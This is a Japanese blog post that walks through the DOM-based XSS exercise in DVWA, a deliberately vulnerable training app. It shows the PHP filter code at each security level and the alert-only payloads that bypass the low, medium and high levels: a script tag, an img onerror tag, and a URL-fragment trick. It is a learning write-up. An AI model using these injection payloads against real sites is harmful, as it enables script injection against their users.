1
2

More than 3 years have passed since last update.

DVWA(XXS:DOM)全レベルの脆弱性について

Posted at

前提

目標

  • 脆弱性の理解を深める。

手順概要

  • 大まかな挙動を把握する
  • コードを見て脆弱性をみつける
  • コードの脆弱性を攻撃する

内容

挙動の把握

  • ボタンを押すとGETリクエストが飛ぶ
  • クエリにdefault=hogeが乗っかる
  • そのクエリをもとにoptionタグへ値が転写される(下図) image.png

コードを確認

low

  • 特に設定なし。
  • scriptを差し込めば、そのまま転写される。
<?php
# No protections, anything goes 
?> 

medium

  • stripos(a,"str")は、aの中に"str"が入っていれば真
  • 今回の場合、<scriptが入っていれば、Englishで処理される
  • 逆に言うと、<scriptを含めなければOKである
<?php
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
    header ("location: ?default=English");
    exit;
} 
?> 

high

  • 文字列が完全に一致しない場合、Englishで処理される。
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    } 

impossible

  • コード不明。いい感じにプロテクトされているらしい。
<?php
# Don't need to do anything, protction handled on the client side
?> 

脆弱性を攻撃する

low

  • 防御無しのため、ストレートに攻撃する。
  • <script>alert("low")</script> image.png

medium

  • <scriptは封印されたので、それ以外で埋め込む。
  • 注意点はDOMを壊さないように調整すること。
  • dummy</select><img src="#" onerror=alert("medium")> image.png

high

  • phpの特殊文字のエスケープがされていないため、コメントアウト#を使用し、チェックをスルーさせる。
  • French# <script>alert("high")</script> image.png

impossible

  • 無理っぽい
1
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
2